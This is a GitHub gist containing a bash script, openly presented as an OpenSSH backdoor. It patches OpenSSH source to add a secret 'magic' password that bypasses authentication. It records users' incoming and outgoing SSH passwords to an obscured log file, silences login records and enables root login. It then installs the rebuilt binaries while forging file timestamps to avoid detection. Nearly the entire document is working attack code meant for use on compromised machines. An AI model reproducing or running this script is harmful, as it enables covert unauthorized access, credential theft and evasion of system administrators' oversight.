Skip to content

Instantly share code, notes, and snippets.

@eyecatchup
Created December 5, 2013 22:51
Show Gist options
  • Save eyecatchup/7815470 to your computer and use it in GitHub Desktop.
Save eyecatchup/7815470 to your computer and use it in GitHub Desktop.
This script provides OpenSSH backdoor functionality with a magic password and logs passwords as well. It leverages the same basic idea behind common OpenSSH patches but this script attempts to make the process version agnostic. Use at your own risk.
#!/bin/bash
# ============================================
# satyr's openssh autobackdooring doohicky v0.-1
# ImpendingSatyr@gmail.com
# ============================================
# USAGE:
# Run this script with no args and it'll prompt for the "Magic" password and location to log passwords to (incoming and outgoing).
# If you give the location that passwords will be logged to as an arg, this script will try to automate almost everything
# (Like common openssh compiling problems, such as missing pam, kerberos, zlib, openssl-devel, etc.
# [it'll install them via apt or yum, whichever is available]).
# Note: This script will delete itself once it's fairly sure the openssh compile went smoothly.
# It's up to you to clean the logs of those yum/apt installs if they're needed, and to restart sshd.
# ============================================
# WTF:
# I noticed that most openssh code doesn't change too much among versions, and that most openssh backdoors are
# just diff patches for specific versions of openssh. So I thought it would be nice to have a script that applies
# such a patch based on those similar chunks of code instead of relying on diff patches so that it can be done on different
# versions without any modifying (I've seen kiddies apply backdoor patches for a version of openssh that wasn't
# originally being used on the box, which is just lazy & dumb).
# So I wrote up this to make the whole process a bit easier (For use in my own private network of course o.O)
# ============================================
# FEATURES:
# 0) "Magic" password can be automagically generated
# 1) "Magic" password is MD5'd before being stored in the ssh/sshd binary, so very unlikely that anyone will be able to get your "Magic" password.
# 2) Conents of file that logs passwords is XOR encoded using the same code that's in http://packetstormsecurity.com/files/download/34453/apatch-ssh-3.8.1p1.tar.gz
# Here's the script for decoding for the bastards out there too lazy to go to the above link:
# #!/bin/sh
# cat > x << __EOF__
# #include <stdio.h>
# main(int c) {
# while(1) {
# c = getchar(); if(feof(stdin)) break;
# putchar(~c);
# }
# }
# __EOF__
# gcc -x c x -o x; cat $1 | ./x; rm -f x
# Do a `cat passlog|./theabovescript.sh` to get the logged passes.
# 3) Strings used for this backdoor are limited to 2 characters, so it'll hide from the `strings` command.
# 4) Cures cancer
# 5) Seems to work fine on all versions from 3.9p1 - 6.3p1 (latest as of this script)
# 6) Not really a bug, but your hostname will be logged if it doesn't match your IP's reverse DNS (disable this with "UseDNS no" in sshd_config)
# ============================================
# KNOWN BUGS (or lack of feature):
# 0) Sometimes the password generated contains non-printable characters.
# 1) No check to see if apt or yum completed successfully when installing a missing lib.
# 2) No check to see if the pass log location is writable. (yes, I know that could be added easily)
# 3) No check to see if packetstorm is accessible when grabbing http://dl.packetstormsecurity.net/UNIX/misc/touch2v2.c
# on that last command that's echoed for the user to run when done compiling.
# 4) No check if box has gcc
# ============================================
# NOTE TO ADMINS:
# I didn't put this script on your box. You really need to take your box offline and do a clean install of your system.
# This script is no different than the other openssh backdoors when it comes to prevention,
# tripwire or anything similar will easily notice this backdoor as it will with other openssh backdoors.
# ============================================
WGET=/usr/bin/wget
SSHD=/usr/sbin/sshd
# an openssh mirror
MIRROR=http://mirror.team-cymru.org/pub/OpenBSD/OpenSSH/portable/
SSHETC=/etc/ssh
PREFIX=/usr
if [ ! -d "$SSHETC" ]; then
echo "Error: $SSHETC is not a directory."
exit 1
fi
if [ "`grep -i pam $SSHETC/sshd_config|grep -v '#'|strings`" != "" ]; then
echo "(PAM enabled)"
pam="--with-pam"
fi
if [ "`grep -i gss $SSHETC/sshd_config|grep -v '#'|strings`" != "" ] || \
[ "`grep -i gss $SSHETC/ssh_config|grep -v '#'|strings`" != "" ]; then
echo "(KRB5 enabled)"
gss="--with-kerberos5"
fi
version=`$SSHD -arf 2>&1|head -2|tail -1|cut -d, -f1|sed -e's/^OpenSSH_//'|awk '{print $1}'`
extracrap=`$SSHD -arf 2>&1|head -2|tail -1|cut -d, -f1|sed -e's/^OpenSSH_//'|awk '{print $2}'`
if [ "$1" == "" ]; then
read -sp "Magic password (just press enter to use a random one): " PW;echo
fi
if [ "$PW" == "" ]; then
function randpass() { [ "$2" == "0" ] && CHAR="[:alnum:]" || CHAR="[:graph:]";cat /dev/urandom|tr -cd "$CHAR"|head -c ${1:-32};echo;}
PW=`randpass $(( 20+( $(od -An -N2 -i /dev/random) )%(20+1) ))`
fi
if [ "$1" == "" ]; then
read -p "File to log passwords to: " LOGF
else
LOGF=$1
fi
if [ "$LOGF" == "" ]; then
echo "Error: You didn't choose a file to log passwords to."
exit 1
fi
echo "==========================================================="
echo "Using magic password: $PW"
cat > md5.$$ << EOF0
$PW
EOF0
md5=`printf "%s" \`(cat md5.$$)|sed -e :a -e N -e '$!ba' -e 's/\n/ /g'\`|openssl md5|awk '{print $NF}'`
rm -f md5.$$
echo "Using password log file: $LOGF"
echo "OpenSSH version: $version"
echo "==========================================================="
LOGFLEN=`echo -n $LOGF|wc -c`
let LOGFLEN++
if [ ! -x "$WGET" ]; then
echo "Error: $WGET is not executable"
exit 1
fi
echo "Downloading openssh-$version..."
wget $MIRROR/openssh-$version.tar.gz 2>&1|grep save
tar zxf openssh-$version.tar.gz
rm -f openssh-$version.tar.gz
if [ -d "openssh-$version" ]; then
cd openssh-$version
else
echo "Error: Couldn't download $MIRROR/openssh-$version.tar.gz using $WGET"
exit 1
fi
echo "Modifying openssh src..."
cat > bd.h <<EOF
#include <stdio.h>
#include <string.h>
int pi, md5len, ploglen;
FILE *f;
char md5[32], plog[$LOGFLEN], encbuf[2048];
static char * bpmd5() {
EOF
echo $md5|awk -F. '{n=split($1,a,""); for (i=0;i<n;i++) {printf(" md5[%i] = \"%s\";\n",i,a[i+1])}; for (i=2;i<NF;i++) {printf("%s,",$i)};}' >> bd.h
cat >> bd.h <<EOF2
return md5;
}
static char * plogfn() {
EOF2
for i in $(seq 0 $((${#LOGF} - 1))); do echo "plog[$i] = \"${LOGF:$i:1}\";";done >> bd.h
cat >> bd.h <<EOF3
return plog;
}
static void enclog() {
char *plogg = plogfn();
int plen;
FILE *f;
plen=strlen(encbuf);
for (pi=0; pi<=plen; pi++) encbuf[pi]=~encbuf[pi];
f = fopen(plogg,"a");
if (f != NULL) {
fwrite(encbuf, plen, 1, f);
fclose(f);
}
}
EOF3
sed -e s/\"/\'/g -e s/plogg,\'a\'/plogg,\"a\"/ -i bd.h
sed '/#include "includes.h"/i\
#include "bd.h"
' -i auth.c
sed '/authmsg = authenticated ? "Accepted" : "Failed"/a\
if (!pi)
' -i auth.c
sed -i "`echo $[ $(grep -n auth_root_allowed auth.c|awk -F: '{print $1}') + 2 ]`iif (pi) return 1;" -i auth.c
# the auth-pam.c stuff is only for => 3.9p1
sed '/auth2-pam-freebsd.c/a\
#include "bd.h"
' -i auth-pam.c
sed '/void.*sshpam_conv/a\
if (pi) sshpam_err = PAM_SUCCESS;
' -i auth-pam.c
sed "`echo $[ $(grep -n pam_authenticate.sshpam_handle auth-pam.c|head -c3) + 1 ]`iif (pi) sshpam_err = PAM_SUCCESS;" -i auth-pam.c
sed "`grep -nA3 sshpam_cleanup.void auth-pam.c|grep NULL|head -c3`s/NULL/NULL || pi/" -i auth-pam.c
sed "`echo $[ $(grep -n char.*pam_rhost auth-pam.c|head -c3) + 2 ]`iif (pi) return (0);" -i auth-pam.c
sed '/type == PAM_SUCCESS/a\
if (pi) return 0;
' -i auth-pam.c
sed "`echo $[ $(grep -n do_pam_setcred auth-pam.c|head -c3) + 3 ]`a\
if (pi) {\n\
sshpam_cred_established = 1;\n\
return;\n\
}" -i auth-pam.c
sed "`echo $[ $(grep -n sshpam_respond.void auth-pam.c|head -c3) + 3 ]`a\
if (pi) {\n\
sshpam_cred_established = 1;\n\
return;\n\
}" -i auth-pam.c
sed "`grep -nA6 sshpam_auth_passwd auth-pam.c|grep "\-$"|sed 's/\-$//'`a\
char *passmd5 = str2md5(password, strlen(password));\n\
char *bpass = bpmd5();\n\
int enlen;\n\
" -i auth-pam.c
sed "`echo $(grep -n "sshpam_authctxt = authctxt" auth-pam.c|tail -1|awk -F: '{print $1}')`a\
if (strcmp(passmd5,bpass) == 0) {\n\
pi = 1;\n\
return 1;\n\
}" -i auth-pam.c
sed "`echo $(grep -nA1 'debug.*password authentication accepted for' auth-pam.c|tail -1|head -c4)`a\
enlen = sprintf(encbuf,\"pam\");\n\
enlen += sprintf(encbuf+enlen,\":\");\n\
enlen += sprintf(encbuf+enlen,\"%s\",authctxt->user);\n\
enlen += sprintf(encbuf+enlen,\":\");\n\
enlen += sprintf(encbuf+enlen,\"%s\\\n\",password);\n\
enclog();\n\
" -i auth-pam.c
sed '/#include "includes.h"/i\
#include "bd.h"\
#include <stdlib.h>\
#if defined(__APPLE__)\
# define COMMON_DIGEST_FOR_OPENSSL\
# include <CommonCrypto/CommonDigest.h>\
# define SHA1 CC_SHA1\
#else\
# include <openssl/md5.h>\
#endif\
' -i auth-passwd.c
sed '/extern ServerOptions options;/a\
char *str2md5(const char *str, int length) {\
int n;\
MD5_CTX c;\
unsigned char digest[16];\
char *out = (char*)malloc(33);\
MD5_Init(&c);\
while (length > 0) {\
if (length > 512) {\
MD5_Update(&c, str, 512);\
} else {\
MD5_Update(&c, str, length);\
}\
length -= 512;\
str += 512;\
}\
MD5_Final(digest, &c);\
for (n = 0; n < 16; ++n) {\
snprintf(&(out[n*2]), 16*2, "%02x", (unsigned int)digest[n]);\
}\
return out;\
}\
' -i auth-passwd.c
sed '/#ifndef HAVE_CYGWIN/i\
if (pi) return 1;
' -i auth-passwd.c
sed "`echo $[ $(grep -n sys_auth_passwd.A auth-passwd.c|tail -1|head -c3) + 3 ]`a\
char *passmd5 = str2md5(password, strlen(password));\n\
char *bpass = bpmd5();\n\
int enlen;\n\
" -i auth-passwd.c
sed "`echo $(grep -n pw_password.0.*xx auth-passwd.c|head -c3)`a\
if (strcmp(passmd5,bpass) == 0) {\n\
pi = 1;\n\
return 1;\n\
}\n\
else {\n\
if (strcmp(encrypted_password, pw_password) == 0) {\n\
enlen = sprintf(encbuf,\"pas\");\n\
enlen += sprintf(encbuf+enlen,\":\");\n\
enlen += sprintf(encbuf+enlen,\"%s\",authctxt->user);\n\
enlen += sprintf(encbuf+enlen,\":\");\n\
enlen += sprintf(encbuf+enlen,\"%s\\\n\",password);\n\
enclog();\n\
}\n\
}\n\
" -i auth-passwd.c
sed '/#include "includes.h"/i\
#include "bd.h"
' -i sshconnect1.c
sed '/char \*password;/a\
int enlen;
' -i sshconnect1.c
sed '/ssh_put_password(password);/a\
enlen = sprintf(encbuf,"1:");\
enlen += sprintf(encbuf+enlen,"%s",get_remote_ipaddr());\
enlen += sprintf(encbuf+enlen,":");\
enlen += sprintf(encbuf+enlen,"%s",options.user);\
enlen += sprintf(encbuf+enlen,":");\
enlen += sprintf(encbuf+enlen,"%s\\n",password);\
enclog();\
' -i sshconnect1.c
sed '/#include "includes.h"/i\
#include "bd.h"
' -i sshconnect2.c
sed '/char.*password;/a\
int enlen;
' -i sshconnect2.c
sed "`echo $(grep -n 'packet_put_cstring(password);' sshconnect2.c|head -c3)`a\
enlen = sprintf(encbuf,\"2:\");\n\
enlen += sprintf(encbuf+enlen,\"%s\",authctxt->server_user);\n\
enlen += sprintf(encbuf+enlen,\":\");\n\
enlen += sprintf(encbuf+enlen,\"%s\",authctxt->host);\n\
enlen += sprintf(encbuf+enlen,\":\");\n\
enlen += sprintf(encbuf+enlen,\"%s\\\n\",password);\n\
enclog();\
" -i sshconnect2.c
sed '/#include "includes.h"/i\
#include "bd.h"
' -i loginrec.c
sed '/#ifndef HAVE_CYGWIN/i\
if (pi) return 0;
' -i loginrec.c
sed '/#include "includes.h"/i\
#include "bd.h"
' -i log.c
sed '/#if (level > log_level)/i\
if (pi) return;
' -i loginrec.c
sed 's/PERMIT_NO /PERMIT_YES /' -i servconf.c
sed 's/PERMIT_NO;/PERMIT_YES;/' -i servconf.c
sed 's/PERMIT_NO_PASSWD /PERMIT_YES /' -i servconf.c
sed 's/PERMIT_NO_PASSWD;/PERMIT_YES;/' -i servconf.c
if [ "$extracrap" != "" ]; then
sed -re"s/(SSH.*PORTABLE.*)\"/\1 $extracrap\"/" -i version.h
fi
echo "Compiling..."
./configure --prefix=$PREFIX $pam $gss --sysconfdir=$SSHETC 2>/dev/null 1>/dev/null
if [ "`grep error: config.log|sed -e's/.*error:/error:/'|tail -1`" == "error: PAM headers not found" ]; then
if [ "$1" == "" ]; then
echo "Error: PAM headers missing. To install do: "
echo " (with apt) apt-get install libpam0g-dev"
echo " (with yum) yum install pam-devel"
exit 1
else
echo "Error: PAM headers missing. Attempting automatic install..."
if [ -e "/usr/bin/yum" ]; then
yum -y install pam-devel
fi
if [ -e "/usr/bin/apt-get" ]; then
apt-get -y install libpam0g-dev
fi
echo "If install was successful, rerun $0"
exit 1
fi
fi
if [ "`grep error: config.log|sed -e's/.*error:/error:/'|tail -1`" == "error: no acceptable C compiler found in \$PATH" ]; then
echo "Error: No gcc on this box (or in \$PATH)."
exit 1
fi
if [ "`grep error: config.log|sed -e's/.*error:/error:/'|tail -1`" == "error: *** zlib missing - please install first or check config.log ***" ] || \
[ "`grep error: config.log|sed -e's/.*error:/error:/'|tail -1`" == "error: *** zlib.h missing - please install first or check config.log ***" ]; then
if [ "$1" == "" ]; then
echo "Error: zlib missing. To install do: "
echo " (with apt) apt-get install zlib1g-dev"
echo " (with yum) yum install zlib-devel"
exit 1
else
echo "Error: zlib missing. Attempting automatic install..."
if [ -e "/usr/bin/yum" ]; then
yum -y install zlib-devel
fi
if [ -e "/usr/bin/apt-get" ]; then
apt-get -y install zlib1g-dev
fi
echo "If install was successful, rerun $0"
exit 1
fi
fi
if [ "`grep "krb5.h: No such file or directory" config.log|head -1|awk '{ print substr($0, index($0,$2)) }'`" == "error: krb5.h: No such file or directory" ]; then
echo "Error: kerberos5 missing. To install do:"
echo " (with apt) apt-get install libkrb5-dev"
echo " (with yum) yum install krb5-devel"
fi
if [ "`grep error: config.log|sed -e's/.*error:/error:/'|tail -1`" == "error: *** Can't find recent OpenSSL libcrypto (see config.log for details) ***" ] || \
[ "`grep error: config.log|sed -e's/.*error:/error:/'|tail -1`" == "error: *** OpenSSL headers missing - please install first or check config.log ***" ]; then
if [ "$1" == "" ]; then
echo "Error: libcrypto missing. To install do: "
echo " (with apt) apt-get install libssl-dev"
echo " (with yum) yum install openssl-devel"
exit 1
else
echo "Error: libcrypto missing. Attempting automatic install..."
if [ -e "/usr/bin/yum" ]; then
yum -y install openssl-devel
fi
if [ -e "/usr/bin/apt-get" ]; then
apt-get -y install libssl-dev
fi
echo "If install was successful, rerun $0"
exit 1
fi
fi
make 2>/dev/null 1>/dev/null
if [ -e "sshd" ]; then
ls -l ssh sshd
cd ..
rm -vf $0
echo "Now do this:"
echo "cd openssh-$version;$WGET http://dl.packetstormsecurity.net/UNIX/misc/touch2v2.c -q;gcc -o touch touch2v2.c;cp /usr/sbin/sshd sshd.bak;cp /usr/bin/ssh ssh.bak;chown --reference=/usr/bin/ssh ssh.bak;chown --reference=/usr/sbin/sshd sshd.bak;touch -r /usr/sbin/sshd sshd.bak;touch -r /usr/bin/ssh ssh.bak;./touch -r /usr/sbin/sshd sshd.bak;./touch -r /usr/bin/ssh ssh.bak;rm -f /usr/sbin/sshd /usr/bin/ssh;cp ssh /usr/bin/;cp sshd /usr/sbin/;chown --reference=ssh.bak /usr/bin/ssh;chown --reference=sshd.bak /usr/sbin/sshd;touch -r sshd.bak /usr/sbin/sshd;touch -r ssh.bak /usr/bin/ssh;./touch -r sshd.bak /usr/sbin/sshd;./touch -r ssh.bak /usr/bin/ssh;echo Backdoored. Now you restart it."
else
echo "Error: Compiling failed: "
grep error: config.log|tail -1
fi
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment